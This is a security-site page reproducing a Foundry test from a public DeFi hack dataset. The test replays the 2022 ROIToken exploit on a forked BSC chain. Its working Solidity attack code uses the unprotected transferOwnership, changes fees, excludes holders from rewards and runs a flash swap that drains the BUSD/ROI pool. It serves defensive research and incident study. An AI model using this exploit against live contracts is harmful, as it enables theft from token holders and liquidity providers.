Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/ROI_exp.sol

Public reproduction file for dataset entry Ragnarok Online Invasion.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/ROI_exp.sol296 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 157.98 BNB (~44,000 US$)
8// Attacker : 0x91b7f203ed71c5eccf83b40563e409d2f3531114
9// Attack Contract : 0x158af3d23d96e3104bcc65b76d1a6f53d0f74ed0
10// Vulnerable Contract : https://bscscan.com/address/0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c#code (ROIToken)
11// Attack Tx : 0x0e14cb7eabeeb2a819c52f313c986a877c1fa19824e899d1b91875c11ba053b0
13// @NewsTrack
14// Blocksec : https://twitter.com/BlockSecTeam/status/1567746825616236544
15// CertiKAlert : https://twitter.com/CertiKAlert/status/1567754904663429123
16// PANews : https://www.panewslab.com/zh_hk/articledetails/mbzalpdi.html
17// QuillAudits Team : https://medium.com/quillhash/decoding-ragnarok-online-invasion-44k-exploit-quillaudits-261b7e23b55
19CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20IROIToken constant ROI = IROIToken(0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c);
22contract Attacker is Test {
23 IERC20 constant busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
24 IWBNB constant wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
25 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
26 IPancakePair constant busdroiPair = IPancakePair(0x745D6Dd206906dd32b3f35E00533AD0963805124); // BUSD/ROI Pair
28 function setUp() public {
29 cheat.createSelectFork("bsc", 21_143_795);
30 cheat.deal(address(this), 5 ether);
31 cheat.label(address(ROI), "ROI");
32 cheat.label(address(busd), "BUSD");
33 cheat.label(address(wbnb), "WBNB");
34 cheat.label(address(pancakeRouter), "PancakeRouter");
35 cheat.label(address(busdroiPair), "BUSD/ROI Pair");
36 }
38 function testExploit() public {
39 emit log_named_decimal_uint("[Start] Attacker BNB Balance:", address(this).balance, 18);
41 console.log("----------------------------------------------------");
42 console.log("Attacker swap some BNB to ROI for attack fund...");
43 console.log("Before [WBNB, BUSD, ROI] swap:");
44 emit log_named_decimal_uint("\tBNB balance of attacker:", address(this).balance, 18);
45 emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9);
47 address[] memory path = new address[](3);
48 path[0] = address(wbnb);
49 path[1] = address(busd);
50 path[2] = address(ROI); // [WBNB, BUSD, ROI]
51 pancakeRouter.swapETHForExactTokens{value: 5 ether}(111_291_832_999_209, path, address(this), block.timestamp); // Swap 5 bnb to busd then swap to ROI, charge 0.25% trading fee
53 console.log("After [WBNB, BUSD, ROI] swap:");
54 emit log_named_decimal_uint("\tBNB balance of attacker:", address(this).balance, 18);
55 emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9);
56 console.log("----------------------------------------------------");
58 ROI.transferOwnership(address(this)); // Broken Access Control
59 ROI.setTaxFeePercent(0);
60 ROI.setBuyFee(0, 0);
61 ROI.setSellFee(0, 0);
62 ROI.setLiquidityFeePercent(0);
64 // These's addresses are all of the ROI Token holders, but the [BUSD/ROI Pair] is not listed.
65 // Ref: https://bscscan.com/token/0xE48b75dc1b131fd3A8364b0580f76eFD04cF6e9c#balances
66 ROI.excludeFromReward(address(0x575e2Cd07E4d6CCBcA708D64b4ba45521A2C0722));
67 ROI.excludeFromReward(address(0x216FC1D66677c9A778C60E6825189508b9619908));
68 ROI.excludeFromReward(address(0x61708418F929f264Edd312aDC7089eB9d69cEd9C));
69 ROI.excludeFromReward(address(0xC81DC8F793415B80d7Ee604e936B79D85BD771B6));
70 ROI.excludeFromReward(address(0x19af64CFB666d7Df8C69F884CDf5d42c0e1F9D0C));
71 ROI.excludeFromReward(address(0xA982444d884e00C7dFBBCB90e7a705E567853d0E));
72 ROI.excludeFromReward(address(0x899045B0B52d55Be0210A1046a01B99C78E44540));
73 ROI.excludeFromReward(address(0xDdda7b2D1B9EbafD37c434b90a09fca6d014682F));
74 ROI.excludeFromReward(address(0xf3C7107024e4935FbFd9f665cF5321146DfBD9a8));
75 ROI.excludeFromReward(address(0x6f84160a01f3D4005eB50582d14F17B72575A80A));
76 ROI.excludeFromReward(address(0x143B8568B1ef2F22f3A67229E80DCF0e6fe9bf96));
77 ROI.excludeFromReward(address(0x16A31000295d1846F16B8F1aee3AeDC6b2cB730b));
78 ROI.excludeFromReward(address(ROI));
79 ROI.excludeFromReward(address(this));
81 console.log("Attacker sends all ROI to [BUSD/ROI Pair] but withholding 100,000 ROI");
82 uint256 ROI_bal = ROI.balanceOf(address(this));
83 ROI.transfer(address(busdroiPair), ROI_bal - 100_000e9); // taxfee is zero
84 console.log("----------------------------------------------------");
86 console.log("Before flashloans from [BUSD/ROI Pair]");
87 emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9); // Expect 100,000
88 emit log_named_decimal_uint("\tBUSD balance of attacker:", busd.balanceOf(address(this)), 18);
89 emit log_named_decimal_uint("\tROI balance of BUSD/ROI Pair:", ROI.balanceOf(address(busdroiPair)), 9);
90 emit log_named_decimal_uint("\tBUSD balance of BUSD/ROI Pair:", busd.balanceOf(address(busdroiPair)), 18);
92 ROI.setTaxFeePercent(99);
93 // Attacker flashloans 4,343,012 ROI from [BUSD/ROI Pair], and attacker will immediately payback
94 busdroiPair.swap(4_343_012_692_003_417, 0, address(this), "3030"); // Notice: 99% taxfee will be charged from the [BUSD/ROI Pair]
96 console.log("After flashloans from [BUSD/ROI Pair]");
97 emit log_named_decimal_uint("\tROI balance of attacker:", ROI.balanceOf(address(this)), 9); // Expect 0, Because #L122
98 emit log_named_decimal_uint("\tBUSD balance of attacker:", busd.balanceOf(address(this)), 18);
99 emit log_named_decimal_uint("\tROI balance of BUSD/ROI Pair:", ROI.balanceOf(address(busdroiPair)), 9); // Expect before+100,000
100 emit log_named_decimal_uint("\tBUSD balance of BUSD/ROI Pair:", busd.balanceOf(address(busdroiPair)), 18); // Expect same value
102 ROI.setTaxFeePercent(0);
103 ROI.includeInReward(address(this)); // This will set _tOwned[address(this)] = 0
105 busdroiPair.sync(); // Sync reserve before swap
106 path[0] = address(ROI);
107 path[2] = address(wbnb); // [ROI, BUSD, WBNB]
108 ROI.approve(address(pancakeRouter), type(uint256).max);
109 pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
110 3_986_806_268_542_825, 0, path, address(this), block.timestamp
111 ); // Oops, zero ROI balance but the _rOwned[address(this)] has been bypassed
112 console.log("----------------------------------------------------");
113 emit log_named_decimal_uint("[End] Attacker BNB Balance:", address(this).balance, 18);
114 }
116 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
117 require(keccak256(data) == keccak256("3030"), "Invalid PancakeSwap Callback");
118 ROI.transfer(address(busdroiPair), ROI.balanceOf(address(this))); // Notice: 99% taxfee SHOULD be charged from the attacker
119 }
121 receive() external payable {}
124/* -------------------- Interface -------------------- */
126interface IROIToken {
127 function GetBuyBackTimeInterval() external view returns (uint256);
128 function GetSwapMinutes() external view returns (uint256);
129 function SetBuyBackDivisor(
130 uint256 newDivisor
131 ) external;
132 function SetBuyBackMaxTimeForHistories(
133 uint256 newMinutes
134 ) external;
135 function SetBuyBackRangeRate(
136 uint256 newPercent
137 ) external;
138 function SetBuyBackTimeInterval(
139 uint256 newMinutes
140 ) external;
141 function SetSwapMinutes(
142 uint256 newMinutes
143 ) external;
144 function Sweep() external;
145 function Sweep(
146 uint256 amount
147 ) external;
148 function _addressFees(
149 address
150 )
151 external
152 view
153 returns (
154 bool enable,
155 uint256 _taxFee,
156 uint256 _liquidityFee,
157 uint256 _buyTaxFee,
158 uint256 _buyLiquidityFee,
159 uint256 _sellTaxFee,
160 uint256 _sellLiquidityFee
161 );
162 function _buyBackDivisor() external view returns (uint256);
163 function _buyBackMaxTimeForHistories() external view returns (uint256);
164 function _buyBackRangeRate() external view returns (uint256);
165 function _buyBackTimeInterval() external view returns (uint256);
166 function _buyLiquidityFee() external view returns (uint256);
167 function _buyTaxFee() external view returns (uint256);
168 function _intervalMinutesForSwap() external view returns (uint256);
169 function _isAutoBuyBack() external view returns (bool);
170 function _isEnabledBuyBackAndBurn() external view returns (bool);
171 function _liquidityFee() external view returns (uint256);
172 function _maxTxAmount() external view returns (uint256);
173 function _sellHistories(
174 uint256
175 ) external view returns (uint256 time, uint256 bnbAmount);
176 function _sellLiquidityFee() external view returns (uint256);
177 function _sellTaxFee() external view returns (uint256);
178 function _startTimeForSwap() external view returns (uint256);
179 function _taxFee() external view returns (uint256);
180 function afterPreSale() external;
181 function allowance(address owner, address spender) external view returns (uint256);
182 function approve(address spender, uint256 amount) external returns (bool);
183 function balanceOf(
184 address account
185 ) external view returns (uint256);
186 function buyBackEnabled() external view returns (bool);
187 function buyBackSellLimit() external view returns (uint256);
188 function buyBackSellLimitAmount() external view returns (uint256);
189 function changeRouterVersion(
190 address _router
191 ) external returns (address _pair);
192 function deadAddress() external view returns (address);
193 function decimals() external view returns (uint8);
194 function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
195 function deliver(
196 uint256 tAmount
197 ) external;
198 function excludeFromFee(
199 address account
200 ) external;
201 function excludeFromReward(
202 address account
203 ) external;
204 function getTime() external view returns (uint256);
205 function getUnlockTime() external view returns (uint256);
206 function includeInFee(
207 address account
208 ) external;
209 function includeInReward(
210 address account
211 ) external;
212 function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
213 function isExcludedFromFee(
214 address account
215 ) external view returns (bool);
216 function isExcludedFromReward(
217 address account
218 ) external view returns (bool);
219 function lock(
220 uint256 time
221 ) external;
222 function marketingAddress() external view returns (address);
223 function marketingDivisor() external view returns (uint256);
224 function minimumTokensBeforeSwapAmount() external view returns (uint256);
225 function name() external view returns (string memory);
226 function owner() external view returns (address);
227 function prepareForPreSale() external;
228 function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256);
229 function renounceOwnership() external;
230 function setAddressFee(
231 address _address,
232 bool _enable,
233 uint256 _addressTaxFee,
234 uint256 _addressLiquidityFee
235 ) external;
236 function setAutoBuyBackEnabled(
237 bool _enabled
238 ) external;
239 function setBuyAddressFee(
240 address _address,
241 bool _enable,
242 uint256 _addressTaxFee,
243 uint256 _addressLiquidityFee
244 ) external;
245 function setBuyBackEnabled(
246 bool _enabled
247 ) external;
248 function setBuyBackSellLimit(
249 uint256 buyBackSellSetLimit
250 ) external;
251 function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee) external;
252 function setLiquidityFeePercent(
253 uint256 liquidityFee
254 ) external;
255 function setMarketingAddress(
256 address _marketingAddress
257 ) external;
258 function setMarketingDivisor(
259 uint256 divisor
260 ) external;
261 function setMaxTxAmount(
262 uint256 maxTxAmount
263 ) external;
264 function setNumTokensSellToAddToBuyBack(
265 uint256 _minimumTokensBeforeSwap
266 ) external;
267 function setSellAddressFee(
268 address _address,
269 bool _enable,
270 uint256 _addressTaxFee,
271 uint256 _addressLiquidityFee
272 ) external;
273 function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee) external;
274 function setSwapAndLiquifyEnabled(
275 bool _enabled
276 ) external;
277 function setTaxFeePercent(
278 uint256 taxFee
279 ) external;
280 function swapAndLiquifyEnabled() external view returns (bool);
281 function symbol() external view returns (string memory);
282 function tokenFromReflection(
283 uint256 rAmount
284 ) external view returns (uint256);
285 function totalFees() external view returns (uint256);
286 function totalSupply() external view returns (uint256);
287 function transfer(address recipient, uint256 amount) external returns (bool);
288 function transferForeignToken(address _token, address _to) external returns (bool _sent);
289 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
290 function transferOwnership(
291 address newOwner
292 ) external;
293 function uniswapV2Pair() external view returns (address);
294 function uniswapV2Router() external view returns (address);
295 function unlock() external;

Analysis

Dataset entry

Public Foundry test for “Ragnarok Online Invasion” (2022-09-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x91b7f203ed71c5eccf83b40563e409d2f3531114

  • Attack Contract

    0x158af3d23d96e3104bcc65b76d1a6f53d0f74ed0

  • Vulnerable Contract

    0xe48b75dc1b131fd3a8364b0580f76efd04cf6e9c

  • Attack Tx

    0x0e14cb7eabeeb2a819c52f313c986a877c1fa19824e899d1b91875c11ba053b0

File record

Name
Ragnarok Online Invasion
Path
src/test/2022-09/ROI_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e1c69666beb05af989c5bce148b2038f0925cd8a
Language
Solidity
Size
297 lines
Date
2022-09-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/ROI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e1c69666beb05af989c5bce148b2038f0925cd8a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.